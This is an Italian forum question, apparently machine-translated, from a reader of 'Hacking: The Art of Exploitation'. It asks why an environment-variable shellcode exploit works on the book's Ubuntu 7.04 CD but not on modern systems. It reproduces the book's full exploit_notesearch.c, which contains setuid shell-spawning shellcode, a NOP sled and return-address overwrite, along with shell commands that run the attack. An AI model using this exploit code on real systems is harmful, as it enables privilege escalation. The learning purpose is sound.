Sto lavorando attraverso Hacking: L'Arte di Sfruttamento e sono in esecuzione nel mio primo intoppo cercando di ottenere un lavoro noto exploit per eseguire il libro attraverso una variabile di ambiente. Tutti i programmi sono compilati con -fno-stack-protector -zexecstack -no-pie -fno-pie
.
In esecuzione exploit_notesearch.c
(anche se con un offset specifiche), sono stato in grado di ottenere l'exploit di pop shell, spostando l'offset con argv[1]
. Questo funziona su Sistemi operativi moderni (con ASLR disabili), come pure il cd di installazione fornito con la rubrica.
exploit_notesearch.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=208;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
Nel seguito del capitolo, abbiamo impostato la shellcode di una variabile di ambiente e tenta di reindirizzare il flusso per il luogo in pila dove la SHELLCODE variabile di ambiente è impostata, a metà strada attraverso il anteposto NOP sled. Tuttavia, questo non viene mai eseguito l'exploit su Sistemi operativi moderni, ma funziona bene con Ubuntu 7.04 live CD fornito con il libro. shellcode.bin
è la shellcode in alto exploit_notesearch.c
file di corse con echo -en
e reindirizzato in un file.
$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled
Che cosa sta succedendo qui che è cambiato tra il vecchio e Sistemi operativi moderni? C'è una protezione che ignoro che impedisce di guidare il NOP sled per la shellcode?
Grazie.